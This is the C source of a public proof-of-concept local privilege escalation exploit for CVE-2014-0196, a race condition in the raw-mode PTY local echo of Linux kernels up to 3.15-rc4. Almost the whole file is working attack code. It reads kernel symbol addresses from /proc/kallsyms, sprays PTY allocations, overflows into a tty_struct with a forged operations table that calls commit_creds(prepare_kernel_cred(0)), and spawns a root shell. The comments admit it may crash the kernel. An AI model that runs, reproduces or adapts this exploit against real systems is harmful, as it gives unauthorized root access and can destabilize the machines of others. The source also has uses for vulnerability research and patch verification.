220 lines
5.4 KiB
Text
Executable file
220 lines
5.4 KiB
Text
Executable file
/*
|
|
* CVE-2014-0196: Linux kernel <= v3.15-rc4: raw mode PTY local echo race
|
|
* condition
|
|
*
|
|
* Slightly-less-than-POC privilege escalation exploit
|
|
* For kernels >= v3.14-rc1
|
|
*
|
|
* Matthew Daley <mattd@bugfuzz.com>
|
|
*
|
|
* Usage:
|
|
* $ gcc cve-2014-0196-md.c -lutil -lpthread
|
|
* $ ./a.out
|
|
* [+] Resolving symbols
|
|
* [+] Resolved commit_creds: 0xffffffff81056694
|
|
* [+] Resolved prepare_kernel_cred: 0xffffffff810568a7
|
|
* [+] Doing once-off allocations
|
|
* [+] Attempting to overflow into a tty_struct...............
|
|
* [+] Got it :)
|
|
* # id
|
|
* uid=0(root) gid=0(root) groups=0(root)
|
|
*
|
|
* WARNING: The overflow placement is still less-than-ideal; there is a 1/4
|
|
* chance that the overflow will go off the end of a slab. This does not
|
|
* necessarily lead to an immediate kernel crash, but you should be prepared
|
|
* for the worst (i.e. kernel oopsing in a bad state). In theory this would be
|
|
* avoidable by reading /proc/slabinfo on systems where it is still available
|
|
* to unprivileged users.
|
|
*
|
|
* Caveat: The vulnerability should be exploitable all the way from
|
|
* v2.6.31-rc3, however relevant changes to the TTY subsystem were made in
|
|
* commit acc0f67f307f52f7aec1cffdc40a786c15dd21d9 ("tty: Halve flip buffer
|
|
* GFP_ATOMIC memory consumption") that make exploitation simpler, which this
|
|
* exploit relies on.
|
|
*
|
|
* Thanks to Jon Oberheide for his help on exploitation technique.
|
|
*/
|
|
|
|
#include <sys/stat.h>
|
|
#include <sys/types.h>
|
|
#include <fcntl.h>
|
|
#include <pthread.h>
|
|
#include <pty.h>
|
|
#include <stdio.h>
|
|
#include <string.h>
|
|
#include <termios.h>
|
|
#include <unistd.h>
|
|
|
|
#define TTY_MAGIC 0x5401
|
|
|
|
#define ONEOFF_ALLOCS 200
|
|
#define RUN_ALLOCS 30
|
|
|
|
struct device;
|
|
struct tty_driver;
|
|
struct tty_operations;
|
|
|
|
typedef struct {
|
|
int counter;
|
|
} atomic_t;
|
|
|
|
struct kref {
|
|
atomic_t refcount;
|
|
};
|
|
|
|
struct tty_struct_header {
|
|
int magic;
|
|
struct kref kref;
|
|
struct device *dev;
|
|
struct tty_driver *driver;
|
|
const struct tty_operations *ops;
|
|
} overwrite;
|
|
|
|
typedef int __attribute__((regparm(3))) (* commit_creds_fn)(unsigned long cred);
|
|
typedef unsigned long __attribute__((regparm(3))) (* prepare_kernel_cred_fn)(unsigned long cred);
|
|
|
|
int master_fd, slave_fd;
|
|
char buf[1024] = {0};
|
|
commit_creds_fn commit_creds;
|
|
prepare_kernel_cred_fn prepare_kernel_cred;
|
|
|
|
int payload(void) {
|
|
commit_creds(prepare_kernel_cred(0));
|
|
|
|
return 0;
|
|
}
|
|
|
|
unsigned long get_symbol(char *target_name) {
|
|
FILE *f;
|
|
unsigned long addr;
|
|
char dummy;
|
|
char name[256];
|
|
int ret = 0;
|
|
|
|
f = fopen("/proc/kallsyms", "r");
|
|
if (f == NULL)
|
|
return 0;
|
|
|
|
while (ret != EOF) {
|
|
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, name);
|
|
if (ret == 0) {
|
|
fscanf(f, "%s\n", name);
|
|
continue;
|
|
}
|
|
|
|
if (!strcmp(name, target_name)) {
|
|
printf("[+] Resolved %s: %p\n", target_name, (void *)addr);
|
|
|
|
fclose(f);
|
|
return addr;
|
|
}
|
|
}
|
|
|
|
printf("[-] Couldn't resolve \"%s\"\n", name);
|
|
|
|
fclose(f);
|
|
return 0;
|
|
}
|
|
|
|
void *overwrite_thread_fn(void *p) {
|
|
write(slave_fd, buf, 511);
|
|
|
|
write(slave_fd, buf, 1024 - 32 - (1 + 511 + 1));
|
|
write(slave_fd, &overwrite, sizeof(overwrite));
|
|
}
|
|
|
|
int main() {
|
|
char scratch[1024] = {0};
|
|
void *tty_operations[64];
|
|
int i, temp_fd_1, temp_fd_2;
|
|
|
|
for (i = 0; i < 64; ++i)
|
|
tty_operations[i] = payload;
|
|
|
|
overwrite.magic = TTY_MAGIC;
|
|
overwrite.kref.refcount.counter = 0x1337;
|
|
overwrite.dev = (struct device *)scratch;
|
|
overwrite.driver = (struct tty_driver *)scratch;
|
|
overwrite.ops = (struct tty_operations *)tty_operations;
|
|
|
|
puts("[+] Resolving symbols");
|
|
|
|
commit_creds = (commit_creds_fn)get_symbol("commit_creds");
|
|
prepare_kernel_cred = (prepare_kernel_cred_fn)get_symbol("prepare_kernel_cred");
|
|
if (!commit_creds || !prepare_kernel_cred)
|
|
return 1;
|
|
|
|
puts("[+] Doing once-off allocations");
|
|
|
|
for (i = 0; i < ONEOFF_ALLOCS; ++i)
|
|
if (openpty(&temp_fd_1, &temp_fd_2, NULL, NULL, NULL) == -1) {
|
|
puts("[-] pty creation failed");
|
|
return 1;
|
|
}
|
|
|
|
printf("[+] Attempting to overflow into a tty_struct...");
|
|
fflush(stdout);
|
|
|
|
for (i = 0; ; ++i) {
|
|
struct termios t;
|
|
int fds[RUN_ALLOCS], fds2[RUN_ALLOCS], j;
|
|
pthread_t overwrite_thread;
|
|
|
|
if (!(i & 0xfff)) {
|
|
putchar('.');
|
|
fflush(stdout);
|
|
}
|
|
|
|
if (openpty(&master_fd, &slave_fd, NULL, NULL, NULL) == -1) {
|
|
puts("\n[-] pty creation failed");
|
|
return 1;
|
|
}
|
|
|
|
for (j = 0; j < RUN_ALLOCS; ++j)
|
|
if (openpty(&fds[j], &fds2[j], NULL, NULL, NULL) == -1) {
|
|
puts("\n[-] pty creation failed");
|
|
return 1;
|
|
}
|
|
|
|
close(fds[RUN_ALLOCS / 2]);
|
|
close(fds2[RUN_ALLOCS / 2]);
|
|
|
|
write(slave_fd, buf, 1);
|
|
|
|
tcgetattr(master_fd, &t);
|
|
t.c_oflag &= ~OPOST;
|
|
t.c_lflag |= ECHO;
|
|
tcsetattr(master_fd, TCSANOW, &t);
|
|
|
|
if (pthread_create(&overwrite_thread, NULL, overwrite_thread_fn, NULL)) {
|
|
puts("\n[-] Overwrite thread creation failed");
|
|
return 1;
|
|
}
|
|
write(master_fd, "A", 1);
|
|
pthread_join(overwrite_thread, NULL);
|
|
|
|
for (j = 0; j < RUN_ALLOCS; ++j) {
|
|
if (j == RUN_ALLOCS / 2)
|
|
continue;
|
|
|
|
ioctl(fds[j], 0xdeadbeef);
|
|
ioctl(fds2[j], 0xdeadbeef);
|
|
|
|
close(fds[j]);
|
|
close(fds2[j]);
|
|
}
|
|
|
|
ioctl(master_fd, 0xdeadbeef);
|
|
ioctl(slave_fd, 0xdeadbeef);
|
|
|
|
close(master_fd);
|
|
close(slave_fd);
|
|
|
|
if (!setresuid(0, 0, 0)) {
|
|
setresgid(0, 0, 0);
|
|
|
|
puts("\n[+] Got it :)");
|
|
execl("/bin/bash", "/bin/bash", NULL);
|
|
}
|
|
}
|
|
}
|